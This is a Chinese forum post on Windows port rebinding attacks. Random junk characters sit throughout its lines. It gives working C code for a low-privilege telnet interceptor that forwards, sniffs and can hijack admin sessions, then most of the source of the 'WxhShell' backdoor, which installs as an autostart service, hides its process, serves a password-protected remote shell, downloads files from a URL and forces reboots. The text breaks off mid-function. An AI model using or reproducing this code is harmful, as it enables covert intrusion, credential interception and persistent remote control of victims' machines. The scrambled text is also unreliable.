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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uu3M{*}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + zDc  
6$z'wy/*  
  saddr.sin_family = AF_INET; 4g!7 4a  
F!R2_89iy  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); " dT>KQ  
!Zj#.6c9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5DSuUEvWcL  
cj^bh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &|z|SY]DL  
_?Ckq  
  这意味着什么?意味着可以进行如下的攻击: H XP;0B%4  
$nFAu}%C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6h@+?{F.  
hNVMz`r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =~",/I?  
6H6Law!)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^f0(aYWx  
86{ZFtv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~>w:;M=sV8  
96)v#B?p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >t,O2~  
YE_6OLW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r]-+bR  
{r{>?)O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hg#c[sZL  
0x4l5x$8  
  #include ~ a >S#S  
  #include +{0=<2(EC  
  #include Wbd_a R (  
  #include    "s;ci~$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9F)W19i.  
  int main() h/9Sg*k  
  { XC}1_VWs  
  WORD wVersionRequested; :3gFHBFDj  
  DWORD ret; cE 2Rr  
  WSADATA wsaData; DCK_F8  
  BOOL val; rT<1S?jR  
  SOCKADDR_IN saddr; `r9^:TMN  
  SOCKADDR_IN scaddr; CwB] )QV?  
  int err; 43F^J%G  
  SOCKET s; :P"9;$FY  
  SOCKET sc; `=v@i9cTZ  
  int caddsize; DZ%8 |PmB  
  HANDLE mt; 5IO3 %p?  
  DWORD tid;   mVHFT~x7}  
  wVersionRequested = MAKEWORD( 2, 2 ); }Oh5Nm)  
  err = WSAStartup( wVersionRequested, &wsaData ); _]_LF[  
  if ( err != 0 ) { a^x  0 l  
  printf("error!WSAStartup failed!\n"); ja:\W\xhJ  
  return -1; ME,duY/>Q  
  } 8ur_/h7  
  saddr.sin_family = AF_INET; r.Lx%LZ\^  
   sHF%=Vu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '1lx{U zD  
) _ #T c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |/t K-c6J  
  saddr.sin_port = htons(23); JQr36U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]ci RiMkT(  
  { Qv74?B@  
  printf("error!socket failed!\n"); 3} l;  
  return -1; z(r" JNO@  
  } ]svw CPu C  
  val = TRUE; zM)M_L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I>!|3ElT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .$OjUlzr-H  
  { hOV_Oqe4?  
  printf("error!setsockopt failed!\n"); 1k`|[l^  
  return -1;  rA2qV  
  } i'9e K O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7~L|;^(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %va[jJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tPA"lBS !  
HN^w'I'bp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $*wu~  
  { Km%8Yw0+  
  ret=GetLastError(); sAf9rZt*'  
  printf("error!bind failed!\n"); ]KzJ u`O%G  
  return -1; `dP? 2-Z  
  } NCp%sGBmG  
  listen(s,2); T<_+3kw  
  while(1) &KLvr|  
  { W0+u)gDDz  
  caddsize = sizeof(scaddr); +I?Qg  
  //接受连接请求 E:%>0FE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t<8z08  
  if(sc!=INVALID_SOCKET) *pY/5? g  
  { La@\q[U{@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eO~eu]r  
  if(mt==NULL) D_zcOq9  
  { \gjl^# ;  
  printf("Thread Creat Failed!\n"); Y{`3`Pg&N  
  break; qNhH%tYQ  
  } P: jDB{  
  } &qG? [R{  
  CloseHandle(mt); |YJ$c @  
  } rUGZjLIGqz  
  closesocket(s); -<H ri5  
  WSACleanup(); 6Uch 0xha!  
  return 0; JB641nv  
  }   L)@`58Eil  
  DWORD WINAPI ClientThread(LPVOID lpParam) g6HphRJ5s  
  { T,A!5V>cX  
  SOCKET ss = (SOCKET)lpParam; 5R& x{jf$  
  SOCKET sc; USH@:c#t  
  unsigned char buf[4096]; ?]759,Q3L  
  SOCKADDR_IN saddr; %-T}s`Z  
  long num; ?=TL2"L  
  DWORD val; &9S8al 8"  
  DWORD ret; *1%e%G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @#'yPV1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z&\Il#'\m+  
  saddr.sin_family = AF_INET; uv?8V@x2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x;<oaT$X  
  saddr.sin_port = htons(23); !k4 }v'=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AEiWL.*.  
  { SjFF=ib  
  printf("error!socket failed!\n"); qQwJJjf  
  return -1; yIn/Y0No  
  } 6tDg3`w>  
  val = 100; vsOdp:Yp9!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eV@4VxaZ  
  { kq-mr  
  ret = GetLastError(); g| _HcaW  
  return -1; $1:}(nO,  
  } 9[6G8;<D&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _Ac/ir[,:  
  { WK/b=p|#o  
  ret = GetLastError(); f>.` xC{  
  return -1; v)wY  
  } &\CJg'D:m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6:e}v'q{  
  { z_5rAlnwT.  
  printf("error!socket connect failed!\n"); kxt\{iy4  
  closesocket(sc); ]Om'naD  
  closesocket(ss); ~Rx~g  
  return -1; BYhmJC|  
  } PmuEL@'^ U  
  while(1) N` @W%  
  { 7-g]A2N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $%N;d>[U,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 u&hDjE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9Ba%=  
  num = recv(ss,buf,4096,0); F(?Fz8  
  if(num>0) [,.[gWA  
  send(sc,buf,num,0); a>-}\GXTA  
  else if(num==0) My'9S2Y8nv  
  break; ^K1~eb*K  
  num = recv(sc,buf,4096,0); `</=AY>  
  if(num>0) C}dKbs^g|  
  send(ss,buf,num,0); <(u3+`f1s  
  else if(num==0) G_4K+ -K  
  break; }z9I`6[  
  } a>;3 j  
  closesocket(ss); +xoyKP!  
  closesocket(sc); 1Xk{(G<\  
  return 0 ; c+)36/; X  
  } ej)BR'*  
FF~on06!   
Gd]5xl HRU  
========================================================== ^+.+I cH  
C}M0XW  
下边附上一个代码,,WXhSHELL _RA{SO  
j3sz*:  
========================================================== >x|A7iWn{,  
r_!{!i3B  
#include "stdafx.h" LLXg  
I{*.htt{  
#include <stdio.h> +R{A'Yl[(  
#include <string.h> \UkNE5  
#include <windows.h> Pl>nd)i`  
#include <winsock2.h> d=xI   
#include <winsvc.h> ;L\!g%a  
#include <urlmon.h> qY*%p  
T_5*iwI  
#pragma comment (lib, "Ws2_32.lib") mM\!4Yi`7  
#pragma comment (lib, "urlmon.lib") >uP{9kDm  
|g: '')>[  
#define MAX_USER   100 // 最大客户端连接数 !.tL"U~4  
#define BUF_SOCK   200 // sock buffer &"~,V6,q  
#define KEY_BUFF   255 // 输入 buffer .&* ({UM  
mlsvP%[f.  
#define REBOOT     0   // 重启 vkNZ -`+I  
#define SHUTDOWN   1   // 关机 p3,(*eZ  
'AAF/9  
#define DEF_PORT   5000 // 监听端口 EDP I*@>  
x0AqhT5}  
#define REG_LEN     16   // 注册表键长度 O|^6UH  
#define SVC_LEN     80   // NT服务名长度 4X(1   
'aSZ!R  
// 从dll定义API @vQ;>4i.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wt_?B_nR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nkr,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1A)wbH)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kcma/d  
WL]Wu.k  
// wxhshell配置信息 )M|O;~q  
struct WSCFG { 5sA>O2Rt>  
  int ws_port;         // 监听端口 6a2w-}Fs  
  char ws_passstr[REG_LEN]; // 口令 ?=|) n%  
  int ws_autoins;       // 安装标记, 1=yes 0=no m\}\RnZu  
  char ws_regname[REG_LEN]; // 注册表键名 .LGkr@P  
  char ws_svcname[REG_LEN]; // 服务名 )P(d66yq'u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '%eaK_+7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JJbM)B@-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iC5JU&l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rt\<nwc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yo Q?lh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c-3YSrY  
o}AqNw60v  
}; J~yd]L>  
?G%, k LJJ  
// default Wxhshell configuration W&~iO   
struct WSCFG wscfg={DEF_PORT, ;>QK}#'  
    "xuhuanlingzhe", 40l#'< y;  
    1, ^JF_;~C  
    "Wxhshell", Y" ]eH{  
    "Wxhshell", ,{mf+ 3&$,  
            "WxhShell Service", ][>M<J  
    "Wrsky Windows CmdShell Service", Q+%m+ /Zq  
    "Please Input Your Password: ", oRJP5Y5na  
  1, \SHD  
  "http://www.wrsky.com/wxhshell.exe", !\D] \|Bo  
  "Wxhshell.exe" iYfLo">  
    }; OD@@O9  
c_8mQ  
// 消息定义模块 1o"oa<*_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h+'eFAZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JXR/K=<^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n-| i  
char *msg_ws_ext="\n\rExit."; 0.+Z;j  
char *msg_ws_end="\n\rQuit."; {]_{BcK+  
char *msg_ws_boot="\n\rReboot..."; B6!<@* BI  
char *msg_ws_poff="\n\rShutdown..."; KlX |PQ  
char *msg_ws_down="\n\rSave to "; BQfAen]  
pfn#~gC_=  
char *msg_ws_err="\n\rErr!"; |9i/)LRXe  
char *msg_ws_ok="\n\rOK!"; m=y,_Pz>U  
<n2{+eO  
char ExeFile[MAX_PATH]; O |I:[S},  
int nUser = 0; q!h*3mNm  
HANDLE handles[MAX_USER]; #?|1~HC  
int OsIsNt; h'q0eqYeu)  
)1yUV*6  
SERVICE_STATUS       serviceStatus; Q{|'g5(O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ; dHOH\,:  
t:j07 ,1~  
// 函数声明 Cq;K,B9  
int Install(void); AiHDoV+-  
int Uninstall(void); k-PRV8WO  
int DownloadFile(char *sURL, SOCKET wsh); 9C'+~<l  
int Boot(int flag); w#bbm'j7r  
void HideProc(void); SVEA  
int GetOsVer(void); -bb7Y  
int Wxhshell(SOCKET wsl); (a4y1k t-  
void TalkWithClient(void *cs); d.(]V2X.J  
int CmdShell(SOCKET sock); i$<v*$.o  
int StartFromService(void); ]X;*\-  
int StartWxhshell(LPSTR lpCmdLine); !";$Zu  
K~~*M?.Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  ~9jP++&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O NzdCgY  
6!PX! UkF  
// 数据结构和表定义 GQAg ex)D  
SERVICE_TABLE_ENTRY DispatchTable[] = hr"+0KeX  
{ -OGy-"  
{wscfg.ws_svcname, NTServiceMain}, Jt^JE{m9%  
{NULL, NULL} k.f:nv5JO  
}; Ox1QP2t6Y  
?BZ`mrH^  
// 自我安装 @9P9U`ZP  
int Install(void) FNRE_83  
{ ;xC~{O  
  char svExeFile[MAX_PATH]; [*E.G~IS`  
  HKEY key; fe`G^hV  
  strcpy(svExeFile,ExeFile); +GtGyp  
Z 2jMBe  
// 如果是win9x系统,修改注册表设为自启动 -^yc yZ  
if(!OsIsNt) { (w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FQRcZpv;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :rc[j@|pH  
  RegCloseKey(key); AS^$1i:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T}x%=4<E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3sIM7WD?  
  RegCloseKey(key); ,+evP=(cX  
  return 0; B>2 1A9&  
    } UC$+&&rO  
  } T1[ZrY'0  
} ]Y! Vyn  
else { ,B>b9,~3a  
f=Y9a$.:M  
// 如果是NT以上系统,安装为系统服务 pC Is+1O/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iFchD\E*o  
if (schSCManager!=0) m3e49 bP  
{ _ 9]3S>Rn  
  SC_HANDLE schService = CreateService |.W;vc<  
  ( |H@p^.;  
  schSCManager, 4=cq76  
  wscfg.ws_svcname, 1<e%)? G  
  wscfg.ws_svcdisp, \,t<{p_Q  
  SERVICE_ALL_ACCESS, kfECC&"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >?FCv7qN  
  SERVICE_AUTO_START, |:BYOxAYZ8  
  SERVICE_ERROR_NORMAL, bUL9*{>G  
  svExeFile, nP5fh_/  
  NULL, ~[6|VpGc:  
  NULL, TnAX;+u  
  NULL, S3wH M  
  NULL, )uWNN"  
  NULL 6GvnyJ{[  
  ); wB"Gw` D  
  if (schService!=0) (Ad! hyE(  
  { }Cf[nGh|B  
  CloseServiceHandle(schService); :E*U*#h/  
  CloseServiceHandle(schSCManager); ?Qk#;~\yB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E+ 20->  
  strcat(svExeFile,wscfg.ws_svcname); zf u78  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ry3 f'gx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (P8oXb+%  
  RegCloseKey(key); gu&oCT  
  return 0; #IDCCD^1=  
    } D3ad2vH  
  } `h6W@ROb  
  CloseServiceHandle(schSCManager); nsk 6a  
} R0'EoX  
} M+:wa@K l  
t68RWzqiG[  
return 1; TaG-^bX8B  
} H skN(Ho  
\>k+Oyj  
// 自我卸载 #C mBgxg+M  
int Uninstall(void) Z]d]RL&r  
{ {c; 3$  
  HKEY key; O1,[7F.4g  
[*t E HW  
if(!OsIsNt) { W^f#xrq>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wt;aO_l  
  RegDeleteValue(key,wscfg.ws_regname); :~Y$\Ww(~  
  RegCloseKey(key);  sd%~pY}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FO$Tn+\6  
  RegDeleteValue(key,wscfg.ws_regname); = @o}  
  RegCloseKey(key); 63=m11 Z4  
  return 0; 'o L8Z  
  } Ip0q&i<6  
} .<dmdqk]  
} 4^&vRD,  
else { ev $eM  
5>Q)8` @E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u7d]%<~'$F  
if (schSCManager!=0) {,=,0NQKn  
{ 605|*(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); stPCw$@  
  if (schService!=0) @AOiZOH  
  { oV`sCr5%  
  if(DeleteService(schService)!=0) {  \Z':hw  
  CloseServiceHandle(schService); \ 714Pyy  
  CloseServiceHandle(schSCManager); *b EsWeP  
  return 0; pyKag;ZtP  
  } <h({+N  
  CloseServiceHandle(schService); L%FL{G  
  } hr5)$qZW  
  CloseServiceHandle(schSCManager); 43XuQg4  
} wG O)!u 4  
} s9iM hCu|  
\BL9}5y  
return 1; @#apOoVW>  
} Sls> OIc  
/Ny&;Y  
// 从指定url下载文件 +Sfv.6~v  
int DownloadFile(char *sURL, SOCKET wsh) e=2D^ G#qE  
{ F*f)Dv$p  
  HRESULT hr; ]_s]Q_+E  
char seps[]= "/"; )T?ryp3ev  
char *token; KXJHb{?  
char *file; @zbXG_J  
char myURL[MAX_PATH]; ~ 4a aJ0  
char myFILE[MAX_PATH]; Lg1Usy%  
,tZwXP{  
strcpy(myURL,sURL); )c/] 8KU  
  token=strtok(myURL,seps); @_{"ho  
  while(token!=NULL) $4&Ql  
  { `c(@WK4  
    file=token; rzu^br9X  
  token=strtok(NULL,seps); C7#$s<>TO  
  } U,'n}]=4A3  
:&m(WZ \  
GetCurrentDirectory(MAX_PATH,myFILE); #=rR[:M  
strcat(myFILE, "\\"); 7F.,Xvw&@  
strcat(myFILE, file); iwbjjQPr  
  send(wsh,myFILE,strlen(myFILE),0); V~;YV]1Y  
send(wsh,"...",3,0); S4w/ kml3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VZ8L9h<{"  
  if(hr==S_OK) ,P}c92;  
return 0; L6m'u6:1{  
else Nu'rn*Y_  
return 1; Q*he%@w  
y_6HQ:  
} o#i {/# oF  
=u(fP" |{  
// 系统电源模块 yFSL7`p+  
int Boot(int flag) ^|Y!NHYH$Z  
{ -LyIu#  
  HANDLE hToken; ze- iDd_y  
  TOKEN_PRIVILEGES tkp; T1E{NgK  
L" o6)N  
  if(OsIsNt) { nV,a|V5Xm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rhrlEf@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]Uu/1TTf  
    tkp.PrivilegeCount = 1; |fUSq1//  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y{&,YV&_h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nMhc3t  
if(flag==REBOOT) { .NKN2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4:.M*Dz  
  return 0; x-1[2K1"[  
} <x/&Ml+  
else { ,f$ RE6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @:63OLlrG  
  return 0; |s:!LU&OL\  
} gisZmu0  
  } M-NR!?9  
  else { jAu/] HZx  
if(flag==REBOOT) { c&Dy{B!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ps2C8;zT  
  return 0; @bZb#,n]  
} PJ'l:IU  
else { B4kIcHA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O'k"6sBb  
  return 0; 0^+W"O  
} 1W U-gQki!  
} y3x_B@}BY  
w^~,M3(+)1  
return 1; ;/v^@  
} @c.pOX[]m,  
%lBFj/B  
// win9x进程隐藏模块 }{$@|6)R   
void HideProc(void) HkrNt/]  
{ N67m=wRx  
FX{Sb"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?IK[]=!  
  if ( hKernel != NULL ) ||hd(_W8  
  { aePk^?KbB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *`kh}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~%]+5^Ka]  
    FreeLibrary(hKernel); O_ ~\$b  
  } v"`w'+  
sS._N@f  
return; 7j^,4;  
} .m .v$(  
' `S,d[~  
// 获取操作系统版本 ^Oo%`(D?  
int GetOsVer(void) qg_=5s  
{ ujaaO6oZ7  
  OSVERSIONINFO winfo; o!Y7y1$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MD+Q_  
  GetVersionEx(&winfo); +7=3[K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B9]KC i  
  return 1; i9d.Ls  
  else #soWX_>  
  return 0; #(OL!B  
} bS*9eX=K  
Ra/S46$  
// 客户端句柄模块 T a_#Rg*!  
int Wxhshell(SOCKET wsl) T!8,R{V]4  
{ *cf#:5Nl  
  SOCKET wsh; SO|$X  
  struct sockaddr_in client; @>:r'Fmu-  
  DWORD myID; O %OeYO69  
"bJWyUb  
  while(nUser<MAX_USER) ./u3z|q1  
{  0y?bwxkc  
  int nSize=sizeof(client); 9Z} -%Z[,)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *t63c.S  
  if(wsh==INVALID_SOCKET) return 1; Up~#]X  
&U:;jlST9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $aEL>, X  
if(handles[nUser]==0) \]zH M.E1  
  closesocket(wsh); gF&1e5`i  
else Zf ;U=]R  
  nUser++; GujmBb  
  } 'Je;3"@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BPW2WSm@<  
U2;_{n*g%  
  return 0; lwSA!W  
} k/>k&^?  
Z<`QDBN"4  
// 关闭 socket v81<K*w`P  
void CloseIt(SOCKET wsh) ->d 3FR  
{ n*uT  
closesocket(wsh); 3>ytpXUEGx  
nUser--; Dc U$sf*  
ExitThread(0); fnB[b[  
} :M3Fq@w=  
*&XOzaVU  
// 客户端请求句柄 g/eE^o ~;  
void TalkWithClient(void *cs) ^I7iEv  
{ arm26YA-,  
X-=49)  
  SOCKET wsh=(SOCKET)cs; fTMn  
  char pwd[SVC_LEN]; EW]rD  
  char cmd[KEY_BUFF]; cJMp`DQzc  
char chr[1]; Nzf tc  
int i,j; ) }(Po_  
51xiX90D  
  while (nUser < MAX_USER) { |Y4c+6@_  
^DD]jx  
if(wscfg.ws_passstr) { 9J*.'Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H>X:#xOA_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1 Qln|b8<  
  //ZeroMemory(pwd,KEY_BUFF); zt6GJ z1q  
      i=0; Kqm2TMO]>V  
  while(i<SVC_LEN) { y2KR^/LN|Y  
7*.nd  
  // 设置超时 :>f}rq  
  fd_set FdRead; /@ m]@  
  struct timeval TimeOut; -V7dSi  
  FD_ZERO(&FdRead); /V0[Urc@  
  FD_SET(wsh,&FdRead); UyENzK<%u  
  TimeOut.tv_sec=8; 3s;^p,9 Y  
  TimeOut.tv_usec=0; 50 8v:?^'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <- L}N '  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~wvu7  
6/6M.p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g%TOYZr!X  
  pwd=chr[0]; BlnR{Y  
  if(chr[0]==0xd || chr[0]==0xa) { 1 8%+ Hy=  
  pwd=0; GCZx-zD~>  
  break; 9(6f:D  
  } VYbH:4K@%  
  i++; ^,}1^?*  
    } zcGmru|k  
a`I \19p]  
  // 如果是非法用户,关闭 socket X lLG/N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a@!(o  )>  
} o, PpD,,  
?.Q$@Ih0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {>g{+Eq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ia@ |+r  
Z-:T')#Cf  
while(1) { @CMEmgk~  
"zj[v1K9-A  
  ZeroMemory(cmd,KEY_BUFF); T[Lz4;TRk5  
[n4nnmM  
      // 自动支持客户端 telnet标准   Wz%H?m:g#  
  j=0; galzk$D  
  while(j<KEY_BUFF) { agt/;>q\~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hsn'"  
  cmd[j]=chr[0]; C~Hhi-Xl)  
  if(chr[0]==0xa || chr[0]==0xd) { zX lcu_rc  
  cmd[j]=0; Fs"i fn0  
  break; ?zex]!R  
  } >$,P )cB'  
  j++; .dI".L  
    } #lR-?Uh  
$Q"D>Qf{G  
  // 下载文件 .do8\  
  if(strstr(cmd,"http://")) { ~[%_]/#&%z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ncqAof(/  
  if(DownloadFile(cmd,wsh)) oR7[[H.4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,?P<=M  
  else G9|2 KUG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /yHjd s  
  } ]~2iducB,  
  else { )xq=V  
v*[UG^+)  
    switch(cmd[0]) { 47N,jVt4  
  Om^(CAp  
  // 帮助 &(oA/jFQ  
  case '?': { T*:w1*:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ! c`&L_ "!  
    break; ; [G:  
  } Q3Pu<j}Y  
  // 安装 URceq2_  
  case 'i': { p#).;\M   
    if(Install()) rY 6x):sC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >"8;8Ev  
    else :s6aFiz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A 0v=7 ]  
    break;  9u^M{6  
    } )X?oBNsj  
  // 卸载 Mgr?D  
  case 'r': { "\i H/  
    if(Uninstall()) U0t|i'Hx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fcxg6W'  
    else P0yDL:X[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v^ "qr?3V  
    break; BBM[Fy37!}  
    } ,`JYFh M  
  // 显示 wxhshell 所在路径 sC.b '1P  
  case 'p': { -'Ay(h   
    char svExeFile[MAX_PATH]; rRg,{:;A  
    strcpy(svExeFile,"\n\r"); D'<L6w`  
      strcat(svExeFile,ExeFile); R\|,GZ!`+  
        send(wsh,svExeFile,strlen(svExeFile),0); 1~t.2eUG  
    break; ]XU4nNi  
    } HdN5zl,q  
  // 重启 |Fe[RGi+8  
  case 'b': { y_X jY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aX`uF<c9  
    if(Boot(REBOOT)) :h5G|^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $m;`O_-T  
    else { y{/7z}d  
    closesocket(wsh); 0KnL{Cj   
    ExitThread(0); M^[;{p2uZ  
    } u"q5 6}Q?]  
    break; a M9v  
    } u8T@W}FX  
  // 关机 uLafO=Q  
  case 'd': { w%.hALN5-C  
